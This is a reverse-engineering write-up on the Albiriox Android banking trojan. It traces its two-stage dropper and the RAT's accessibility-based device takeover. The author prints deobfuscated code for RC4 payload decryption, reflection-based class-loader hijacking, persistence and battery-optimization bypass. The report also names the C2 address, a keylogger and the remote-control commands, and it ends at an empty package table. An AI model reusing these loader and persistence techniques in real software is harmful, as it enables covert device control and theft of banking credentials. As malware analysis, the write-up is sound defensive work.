Albiriox Malware Analysis

Albiriox Malware Analysis

February 8, 2026
Fuad Aliyev
Malware Analysis
Reverse Engineering
RAT
Android

What is Albiriox?

Albiriox is a Android Malware that emerged in late 2025, specializing in full-device takeover and ODF. This malware allows attackers to directly manipulate a victim's phone in real-time, bypassing traditional security measures like two-factor authentication (2FA) and biometrics.

Dropper

Before we analyze malware itself, i would like to explain the dropper first. Overall the flow goes like: dropper -> dropper -> RAT. The thing is first dropper is a little bit more complex than second dropper but they have almost same structure, both have json file in assets which gets rc4 decrypted and loaded. I will explain only first dropper.

[First dropper](https://www.virustotal.com/gui/file/d135a3810dcb522d3cce8902024a3387da00c7e1d601ec645e83743b9354f192/details)

First, we can check out AndroidManifest.xml, which shows us some permissions the dropper has:

  • INSTALL_PACKAGES — silently install APKs
  • REQUEST_INSTALL_PACKAGES — prompt user to install APKs
  • DELETE_PACKAGES — uninstall other apps
  • QUERY_ALL_PACKAGES — enumerate all installed apps on the device
  • INTERNET — network access

next up, we can see android:name="com.tail.siren.Mbalconyhidden", which is the exact class we need to analyze. The code is highly obfuscated:

1|700

But if you can already select the actual code from other useless parts, it is pretty easy to clean it up. I will show parts that are important, that i cleaned up. Like the starting point for us is attachBaseContext:

@Override public void attachBaseContext(Context context) throws SecurityException { super.attachBaseContext(context); this.f = context; String colorDirPath = a(a(this.f)); File whipDir = a(this.f, this.g); a(whipDir); String payloadPath = b(colorDirPath); boolean success = d(payloadPath); StringBuffer stringBuffer = new StringBuffer(); a(payloadPath, colorDirPath, stringBuffer, this.f); }

Actual flow goes like this (I dont want to provide all a()functions etc. it would take too much part of report):

  1. Get absolute path to app_color directory
  2. Create app_whip directory
  3. Build full path to BPJ.json inside color directory
  4. Extract payload from assets, decrypt with RC4, write to payloadPath
  5. Load the decrypted DEX using DexClassLoader

After attachBaseContext(), the OnCreate() is called:

@Override public void onCreate() throws IllegalAccessException, NoSuchFieldException, NoSuchMethodException, ClassNotFoundException, SecurityException, IllegalArgumentException, InvocationTargetException { super.onCreate(); StringBuffer stringBuffer = new StringBuffer(""); String realAppClassName = stringBuffer.toString(); boolean success = false; try { Application realApp = (Application) Class.forName( realAppClassName, true, getClassLoader() ).newInstance(); Application thisApp = (Application) getApplicationContext(); Class<?> contextImplClass = Class.forName( a(new byte[]{56, 99, 61, 127, 54, 100, 61, 35, 56, 125, 41, 35, 26, 98, 55, 121, 60, 117, 45, 68, 52, 125, 53}) // "android.app.ContextImpl" ); Field mOuterContext = contextImplClass.getDeclaredField( a(new byte[]{52, 66, 44, 121, 60, 127, 26, 98, 55, 121, 60, 117, 45}) // "mOuterContext" ); mOuterContext.setAccessible(true); mOuterContext.set(this.f, realApp); Field mPackageInfo = contextImplClass.getDeclaredField( a(new byte[]{52, 93, 56, 110, 50, 108, 62, 104, 16, 99, 63, 98}) // "mPackageInfo" ); mPackageInfo.setAccessible(true); Object loadedApk = mPackageInfo.get(this.f); Class<?> loadedApkClass = Class.forName( a(new byte[]{56, 99, 61, 127, 54, 100, 61, 35, 56, 125, 41, 35, 21, 98, 56, 105, 60, 105, 24, 125, 50}) // "android.app.LoadedApk" ); Field mApplication_loadedApk = loadedApkClass.getDeclaredField( a(new byte[]{52, 76, 41, 125, 53, 100, 58, 108, 45, 100, 54, 99}) // "mApplication" ); mApplication_loadedApk.setAccessible(true); mApplication_loadedApk.set(loadedApk, realApp); Field mActivityThread = loadedApkClass.getDeclaredField( a(new byte[]{52, 76, 58, 121, 48, 123, 48, 121, 32, 89, 49, 127, 60, 108, 61}) // "mActivityThread" ); mActivityThread.setAccessible(true); Object activityThread = mActivityThread.get(loadedApk); Class<?> activityThreadClass = Class.forName( a(new byte[]{56, 99, 61, 127, 54, 100, 61, 35, 56, 125, 41, 35, 24, 110, 45, 100, 47, 100, 45, 116, 13, 101, 43, 104, 56, 105}) // "android.app.ActivityThread" ); Field mInitialApplication = activityThreadClass.getDeclaredField( a(new byte[]{52, 68, 55, 100, 45, 100, 56, 97, 24, 125, 41, 97, 48, 110, 56, 121, 48, 98, 55}) // "mInitialApplication" ); mInitialApplication.setAccessible(true); mInitialApplication.set(activityThread, realApp); Field mAllApplications = activityThreadClass.getDeclaredField( a(new byte[]{52, 76, 53, 97, 24, 125, 41, 97, 48, 110, 56, 121, 48, 98, 55, 126}) // "mAllApplications" ); mAllApplications.setAccessible(true); ArrayList appList = (ArrayList) mAllApplications.get(activityThread); appList.add(realApp); appList.remove(thisApp); Method attachMethod = Application.class.getDeclaredMethod( a(new byte[]{56, 121, 45, 108, 58, 101}), // "attach" Context.class ); attachMethod.setAccessible(true); attachMethod.invoke(realApp, this.f); realApp.onCreate(); success = true; } catch (Exception e) { } }

To simplify flow:

  1. Load the second dropper class from the decrypted DEX
  2. Use reflection to replace this loader with the second dropper in all Android framework internal fields
  3. Call attach() and onCreate() on the second dropper.

Actually a lot more cleaning and understanding of what helper functions did was needed to understand dropper but this is basic flow. Second dropper looks almost exactly same with nearly same logic, except in first dropper, it replaces ClassLoader entirely for DEX injection , but second dropper appends RAT to DexPathList.

RAT

Now we can actually analyze the RAT itself. The difficult part about this malware is, it is not obfuscated or anything, it just has a lot of functionalities and the decompiled code is 4830 lines. I will list as many functionalities as possible (I might leave out some simple things). I will provide code too, if it is interesting.

One thing we know about RAT is, the our starting class will be MainActivity. In OnCreate() function it calls startContinousCheck() at the last part which is the function we have to analyze now to understand what it does:

private void startContinuousCheck() { this.checkHandler = new Handler(); Runnable runnable = new Runnable() { @Override // java.lang.Runnable public void run() { if (!MainActivity.this.batteryOptimizationChecked && !MainActivity.this.isRequestingPermission) { if (((PowerManager) MainActivity.this.getSystemService("power")).isIgnoringBatteryOptimizations(MainActivity.this.getPackageName())) { MainActivity.this.batteryOptimizationChecked = true; Toast.makeText(MainActivity.this, "✓ Battery optimization disabled", 0).show(); } else if (!MainActivity.this.isRequestingPermission) { MainActivity.this.isRequestingPermission = true; MainActivity.this.requestBatteryOptimizationExemption(); } MainActivity.this.checkHandler.postDelayed(this, 500L); return; } if (MainActivity.this.isXiaomiDevice && MainActivity.this.batteryOptimizationChecked && !MainActivity.this.xiaomiPermissionsRequested) { MainActivity.this.requestXiaomiPermissions(); MainActivity.this.checkHandler.postDelayed(this, 500L); return; } if (MainActivity.this.batteryOptimizationChecked && !MainActivity.this.accessibilityChecked && !MainActivity.this.isRequestingPermission) { if (MainActivity.this.isAccessibilityServiceEnabled()) { MainActivity.this.accessibilityChecked = true; Toast.makeText(MainActivity.this, "✓ Accessibility service enabled", 0).show(); if (!MainActivity.this.serviceStarted) { MainActivity.this.startAccessService(); MainActivity.this.serviceStarted = true; } } else if (!MainActivity.this.isRequestingPermission) { MainActivity.this.isRequestingPermission = true; MainActivity.this.openAccessibilitySettings(); } MainActivity.this.checkHandler.postDelayed(this, 500L); return; } if (MainActivity.this.batteryOptimizationChecked && MainActivity.this.accessibilityChecked && MainActivity.this.serviceStarted) { if (MainActivity.this.isXiaomiDevice && !MainActivity.this.getSharedPreferences("app_prefs", 0).getBoolean("xiaomi_instructions_shown", false)) { MainActivity.this.showXiaomiFinalInstructions(); MainActivity.this.getSharedPreferences("app_prefs", 0).edit().putBoolean("xiaomi_instructions_shown", true).apply(); } MainActivity.this.checkHandler.postDelayed(new Runnable() { @Override // java.lang.Runnable public void run() { MainActivity.this.finish(); } }, 2000L); return; } MainActivity.this.checkHandler.postDelayed(this, 500L); } }; this.checkRunnable = runnable; this.checkHandler.post(runnable); }
  1. First it checks if Battery Optimization is enable, if so it disables, optimization to keep the app alive using technique:
Intent intent = new Intent(); intent.setAction("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"); intent.setData(Uri.parse("package:" + getPackageName())); startActivityForResult(intent, 1002);

if so it fails, tells user to disable optimization in settings manually.

  1. If device is Xiaomi, it gives instruction on what to do to user related to permissions.
  2. After all of these, the important part comes. startAccessService() is called after checking if it is activated or not.
public void startAccessService() { try { Intent intent = new Intent(this, (Class<?>) AccessService.class); intent.setAction("INITIAL_START"); startForegroundService(intent); ServiceKeeperWorker.schedule(this); Toast.makeText(this, "✓ Service Started", 0).show(); } catch (Exception e) { Toast.makeText(this, "Error: " + e.getMessage(), 0).show(); } }

What it does is, basically starting up AccessService class (which is the part where 4000+ lines of code exists). When it calls, the flow continues from onStartCommand(), it is not really important. It's only job is keeping the service alive.

Is Accessibility On?

Now if you remember in MainActivity, malware tries to make user turn on Accessibility. If user turns it on, malware automatically runs (Android calls) onServiceConnected() (where all magic happens). Just looking at this function, we can understand a lot of functionality of malware:

public void onServiceConnected() throws JSONException, IOException { super.onServiceConnected(); AntiRemove.startMonitoring(this); this.handler = new Handler(Looper.getMainLooper()); this.windowManager = (WindowManager) getSystemService("window"); this.powerManager = (PowerManager) getSystemService("power"); this.keyguardManager = (KeyguardManager) getSystemService("keyguard"); this.blankOverlay = new BlankOverlay(this, this.windowManager, this.handler); setupAntiDozeSystem(); setupWorkManager(); setupAlarmManager(); startServiceHeartbeat(); startEnhancedForegroundService(); registerCredentialsReceiver(); this.deviceHWID = getOrCreatePersistentHWID(); Log.d(TAG, "========================================"); Log.d(TAG, "Service connected with Anti-Doze"); Log.d(TAG, "Device: " + this.deviceModel); Log.d(TAG, "HWID: " + this.deviceHWID); Log.d(TAG, "Server IP: 185.208.156.239"); Log.d(TAG, "Battery Optimization: " + isBatteryOptimizationDisabled()); Log.d(TAG, "========================================"); this.executorService = Executors.newCachedThreadPool(); loadPendingActionsFromFile(); if (this.hasPendingActions) { Log.d(TAG, "Found " + this.pendingUserActions.size() + " pending actions"); } startForegroundService(); startConnectionManager(); scheduleDozeResistantAlarm(); }

NOTE: I left out some purposefully. (not a big deal)

  1. AntiRemove.startMonitoring(this); - this is a smart way to don't let use uninstall the app any way possible. There are 2 modes:

    1. Non-Strict: When apps name appears in Settings at all, malware presses Home to don't let user do further activity.
    2. Strict: Only blocks if uninstall keywords are found, around 50+ languages supported.
  2. setupAntiDozeSystem(); - 3 permanent WakeLocks are acquired through this function (These basically run even when screen is off etc.):

    1. CPUWakeLock - PARTIAL_WAKE_LOCK + ACQUIRE_CAUSES_WAKEUP
    2. WifiWakeLock - PARTIAL_WAKE_LOCK
    3. NetworkWakeLock - PARTIAL_WAKE_LOCK
  3. setupWorkManager( - makes app survive kills, reboots etc. Even if AccessService dies, WorkManager restarts it.

  4. setupAlarmManager() sets alarm for 2 minutes, which restarts service everytime.

  5. registerCredentialsReceiver() - Registers a BroadcastReceiver to listen for login activity event. com.nmz.nmz.CREDENTIALS_CAPTURED is sent by LoginActivity when the victim enters creds (which i will explain later on)

  6. getOrCreatePersistentHWID() - generates unique fingerprint for the device, so hacker can identify each victim.

  7. loadPendingActionsFromFile() - sends file "pending_actions.json" (user actions that were captured while the device was offline) to C2.

  8. startConnectionManager() - starts the main connection thread which we will go deep into.

StartConnectionManager()

The function itself is long so, I don't want to paste it. To explain the whole function in simple terms:

  • This is the core network thread that manages the connection to the attacker's server. It runs forever in a loop.

The functions we are interested in here are:

  1. startReceiverThread();
  2. sendPendingLoginData(); // send offline-captured credentials
  3. startFrameCaptureThread(); // start screen streaming
  4. startStatsReporter(); // start logging stats

We can just understand functionalities of 2-4 by their name. But why are we actually interested in startReceiverThread()? Because This function calls handleControlMessage(), which executes the control commands from C2 like (I wrote explanation to only confusing ones):

  1. click
  2. swipe
  3. volume_up
  4. recent - opens recent apps
  5. volume_down
  6. uninstall_app
  7. blank_screen
  8. live_key_stop - turns off keylogger
  9. back
  10. home
  11. text - injects text into input field
  12. click
  13. power
  14. launch_app
  15. set_vnc_mode - switches between screenshot and accessibility mode (accessibility captures UI tree as JSON, no visuals)
  16. black_blank_screen
  17. live_key - turns on full keylogger, captures everything real time
  18. get_apps

That's almost all about the banking trojan, but I think I also have to include every package malware looks for: NOTE: These are the malware that looks for and when it detects, LoginActivity is launched immediately.

Crypto_Packages Apps_Packages